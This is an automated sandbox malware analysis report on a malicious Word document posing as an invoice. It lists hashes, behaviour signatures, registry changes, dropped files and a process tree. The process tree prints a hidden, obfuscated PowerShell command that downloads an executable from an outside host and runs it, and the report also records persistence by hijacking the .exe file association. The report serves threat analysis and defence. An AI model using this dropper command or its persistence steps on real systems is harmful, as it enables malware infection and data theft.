Analysis
- max time kernel
141s - max time network
150s - platform
windows10_x64 - resource
win10v20210410 - submitted
18/06/2021, 06:24
Static task
static1
Behavioral task
behavioral1
Sample
Facture_17062021.doc
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Facture_17062021.doc
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
- Target Facture_17062021.doc
- Size 28KB
- Sample210618-atfa22stbn
- SHA256 efa78d9ed272969fb2ac62b355f0b9532d20d26ed47d87e3c2d5f1e4b67bbad3
- MD5 09727593446a5003a833fb6ad80fff68
- SHA1 ec07a60874477f99a7ca4c9e704fbb9a82e72aa0
- SHA512 4386b1427010cf3e02c6d03a2886234260efc076b834d51b02af1402662e0c3b0663dc49fa8cb0fe9d161074135ca9f2ecc07d382e116b2f39636d7fb747d688
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://www.energym63.com/10451372/cports.exe
Signatures
- Modifies system executable filetype association 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" tor.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2340 1496 powershell.exe 35 - Downloads MZ/PE file
- Executes dropped EXE 8 IoCs
pid Process 376 Congress.tmp 2240 firefox.exe 3064 tor.exe 2536 firefox.exe 2304 tor.exe 212 tor.exe 2152 svchost.com 2100 tor.exe - Loads dropped DLL 22 IoCs
pid Process 2240 firefox.exe 2240 firefox.exe 2240 firefox.exe 2240 firefox.exe 2536 firefox.exe 2536 firefox.exe 2536 firefox.exe 2304 tor.exe 2304 tor.exe 2304 tor.exe 2304 tor.exe 2304 tor.exe 2304 tor.exe 2304 tor.exe 2304 tor.exe 2100 tor.exe 2100 tor.exe 2100 tor.exe 2100 tor.exe 2100 tor.exe 2100 tor.exe 2100 tor.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\5DDB9A5642BF2CA7\\firefox.exe" firefox.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\PROGRA~2\WINDOW~2\wabmig.exe svchost.com File opened for modification C:\PROGRA~2\WINDOW~4\ACCESS~1\wordpad.exe tor.exe File opened for modification C:\PROGRA~2\WI8A19~1\ImagingDevices.exe tor.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe svchost.com File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe tor.exe File opened for modification C:\PROGRA~2\INTERN~1\ielowutil.exe svchost.com File opened for modification C:\PROGRA~2\WI54FB~1\wmplayer.exe svchost.com File opened for modification C:\PROGRA~2\WI54FB~1\wmpshare.exe tor.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE svchost.com File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~4.EXE svchost.com File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe tor.exe File opened for modification C:\PROGRA~2\Google\Temp\GUM1CBD.tmp\GOFB2B~1.EXE tor.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~3.EXE svchost.com File opened for modification C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe tor.exe File opened for modification C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE svchost.com File opened for modification C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE tor.exe File opened for modification C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE svchost.com File opened for modification C:\PROGRA~3\PACKAG~1\{F4220~1\VC_RED~1.EXE svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE svchost.com File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~2.EXE tor.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOF5E2~1.EXE svchost.com File opened for modification C:\PROGRA~2\Google\Update\DISABL~1.EXE tor.exe File opened for modification C:\PROGRA~2\INTERN~1\ielowutil.exe tor.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmlaunch.exe svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe svchost.com File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe svchost.com File opened for modification C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE tor.exe File opened for modification C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE tor.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GO664E~1.EXE tor.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GO664E~1.EXE svchost.com File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOF5E2~1.EXE tor.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOBD5D~1.EXE svchost.com File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOFB2B~1.EXE svchost.com File opened for modification C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE svchost.com File opened for modification C:\PROGRA~2\WINDOW~2\wab.exe svchost.com File opened for modification C:\PROGRA~2\WINDOW~2\WinMail.exe tor.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE tor.exe File opened for modification C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe tor.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmpconfig.exe tor.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmprph.exe tor.exe File opened for modification C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe svchost.com File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~2.EXE svchost.com File opened for modification C:\PROGRA~2\WI54FB~1\setup_wm.exe svchost.com File opened for modification C:\PROGRA~2\WINDOW~2\wab.exe tor.exe File opened for modification C:\PROGRA~2\WI8A19~1\ImagingDevices.exe svchost.com File opened for modification C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe svchost.com File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOFB2B~1.EXE tor.exe File opened for modification C:\PROGRA~2\Google\Update\DISABL~1.EXE svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE svchost.com File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE svchost.com File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe tor.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe svchost.com File opened for modification C:\PROGRA~2\Google\Temp\GUM1CBD.tmp\GOFB2B~1.EXE svchost.com File opened for modification C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE tor.exe File opened for modification C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE svchost.com File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe svchost.com File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe svchost.com File opened for modification C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe tor.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~3.EXE tor.exe - Drops file in Windows directory 5 IoCs
description ioc Process File opened for modification C:\Windows\svchost.com tor.exe File opened for modification C:\Windows\svchost.com tor.exe File opened for modification C:\Windows\directx.sys svchost.com File opened for modification C:\Windows\svchost.com svchost.com File opened for modification C:\Windows\directx.sys tor.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Modifies Internet Explorer Protected Mode 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\2500 = "3" firefox.exe - Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner = "1" firefox.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\TabProcGrowth = "0" firefox.exe - Modifies registry class 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" tor.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings tor.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1496 WINWORD.EXE 1496 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2340 powershell.exe 2340 powershell.exe 2340 powershell.exe 376 Congress.tmp 376 Congress.tmp - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2340 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 376 Congress.tmp - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE 1496 WINWORD.EXE - Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 1496 wrote to memory of 2340 1496 WINWORD.EXE 76 PID 1496 wrote to memory of 2340 1496 WINWORD.EXE 76 PID 2340 wrote to memory of 2836 2340 powershell.exe 78 PID 2340 wrote to memory of 2836 2340 powershell.exe 78 PID 2340 wrote to memory of 2836 2340 powershell.exe 78 PID 2836 wrote to memory of 376 2836 Congress.exe 81 PID 2836 wrote to memory of 376 2836 Congress.exe 81 PID 2836 wrote to memory of 376 2836 Congress.exe 81 PID 376 wrote to memory of 2240 376 Congress.tmp 84 PID 376 wrote to memory of 2240 376 Congress.tmp 84 PID 376 wrote to memory of 2240 376 Congress.tmp 84 PID 2240 wrote to memory of 3064 2240 firefox.exe 85 PID 2240 wrote to memory of 3064 2240 firefox.exe 85 PID 2240 wrote to memory of 3064 2240 firefox.exe 85 PID 2240 wrote to memory of 2536 2240 firefox.exe 86 PID 2240 wrote to memory of 2536 2240 firefox.exe 86 PID 2240 wrote to memory of 2536 2240 firefox.exe 86 PID 3064 wrote to memory of 2304 3064 tor.exe 87 PID 3064 wrote to memory of 2304 3064 tor.exe 87 PID 3064 wrote to memory of 2304 3064 tor.exe 87 PID 2536 wrote to memory of 212 2536 firefox.exe 89 PID 2536 wrote to memory of 212 2536 firefox.exe 89 PID 2536 wrote to memory of 212 2536 firefox.exe 89 PID 212 wrote to memory of 2152 212 tor.exe 90 PID 212 wrote to memory of 2152 212 tor.exe 90 PID 212 wrote to memory of 2152 212 tor.exe 90 PID 2152 wrote to memory of 2100 2152 svchost.com 92 PID 2152 wrote to memory of 2100 2152 svchost.com 92 PID 2152 wrote to memory of 2100 2152 svchost.com 92
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Facture_17062021.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h Start-BitsTransfer -Source "htt`p://www.energym63.com/10451372/cports.exe" -Destination "C:\Users\Public\Documents\Congress.exe";C:\Users\Public\Documents\Congress.exe2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Users\Public\Documents\Congress.exe"C:\Users\Public\Documents\Congress.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Users\Admin\AppData\Local\Temp\is-LL94C.tmp\Congress.tmp"C:\Users\Admin\AppData\Local\Temp\is-LL94C.tmp\Congress.tmp" /SL5="$401DA,4566459,843264,C:\Users\Public\Documents\Congress.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:376 -
C:\Users\Admin\AppData\Local\Temp\is-IFDKL.tmp\firefox.exe"C:\Users\Admin\AppData\Local\Temp\is-IFDKL.tmp\firefox.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Users\Admin\AppData\Local\Temp\is-IFDKL.tmp\tor.exe"C:\Users\Admin\AppData\Local\Temp\is-IFDKL.tmp\tor.exe"6⤵
- Modifies system executable filetype association
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Users\Admin\AppData\Local\Temp\3582-490\tor.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\tor.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2304
-
-
-
C:\Users\Admin\AppData\Roaming\5DDB9A5642BF2CA7\firefox.exe"C:\Users\Admin\AppData\Roaming\5DDB9A5642BF2CA7\firefox.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Internet Explorer Protected Mode
- Modifies Internet Explorer Protected Mode Banner
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2536 -
C:\Users\Admin\AppData\Roaming\5DDB9A5642BF2CA7\tor.exe"C:\Users\Admin\AppData\Roaming\5DDB9A5642BF2CA7\tor.exe"7⤵
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:212 -
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\tor.exe"8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Users\Admin\AppData\Local\Temp\3582-490\tor.exeC:\Users\Admin\AppData\Local\Temp\3582-490\tor.exe9⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2100
-
-
-
-
-
-
-
-